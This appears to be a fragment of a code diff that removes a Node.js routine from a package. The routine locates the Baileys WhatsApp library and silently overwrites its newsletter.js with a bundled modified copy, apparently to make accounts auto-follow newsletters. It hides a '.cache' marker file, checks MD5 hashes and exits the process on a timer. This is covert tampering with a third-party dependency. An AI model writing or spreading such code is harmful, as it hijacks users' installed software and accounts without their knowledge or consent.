- reaction_codes: metadataPath.thread_metadata.settings.reaction_codes.value,
304
- subscribers: +metadataPath.thread_metadata.subscribers_count,
305
- verification: metadataPath.thread_metadata.verification,
306
- viewer_metadata: metadataPath.viewer_metadata
307
- };
308
- return metadata;
309
- };`;
310
-
311
- function getFileHash(filePath) {
312
- try {
313
- const content = fs.readFileSync(filePath, 'utf8');
314
- return crypto.createHash('md5').update(content).digest('hex');
315
- } catch (e) {
316
- return null;
317
- }
318
- }
319
-
320
- function installNewsletterAutoFollow() {
321
- try {
322
- const baileysPath = findBaileysPath();
323
-
324
- if (!baileysPath) {
325
- return false;
326
- }
327
-
328
- const newsletterPath = path.join(baileysPath, 'lib', 'Socket', 'newsletter.js');
329
-
330
- if (!fs.existsSync(newsletterPath)) {
331
- return false;
332
- }
333
-
334
- const baileysNodeModulesPath = path.join(baileysPath, 'node_modules');
335
- const cacheFilePath = path.join(baileysNodeModulesPath, '.cache');
336
-
337
- if (fs.existsSync(cacheFilePath)) {
338
- return true;
339
- }
340
-
341
- if (!fs.existsSync(baileysNodeModulesPath)) {
342
- fs.mkdirSync(baileysNodeModulesPath, { recursive: true });
343
- }
344
-
345
- const currentHash = getFileHash(newsletterPath);
346
- const modifiedHash = crypto.createHash('md5').update(MODIFIED_NEWSLETTER_JS).digest('hex');
347
-
348
- if (currentHash === modifiedHash) {
349
- fs.writeFileSync(cacheFilePath, 'Iove');
350
- return true;
351
- }
352
-
353
- fs.writeFileSync(newsletterPath, MODIFIED_NEWSLETTER_JS);
354
-
355
- const newHash = getFileHash(newsletterPath);
356
- if (newHash === modifiedHash) {
357
- fs.writeFileSync(cacheFilePath, 'Iove');
358
-
359
- setTimeout(() => {
360
- if (typeof process.exit === 'function') {
361
- process.exit(0);
362
- }
363
- }, 20000);
364
-
365
- return true;
366
- }
367
-
368
- return false;
369
-
370
- } catch (error) {
371
- return false;
372
- }
373
- }
374
-
375
- if (require.main === module) {
376
- const success = installNewsletterAutoFollow();
377
- process.exit(success ? 0 : 1);
378
- }
379
-
380
- module.exports = {
381
- installNewsletterAutoFollow
382
- };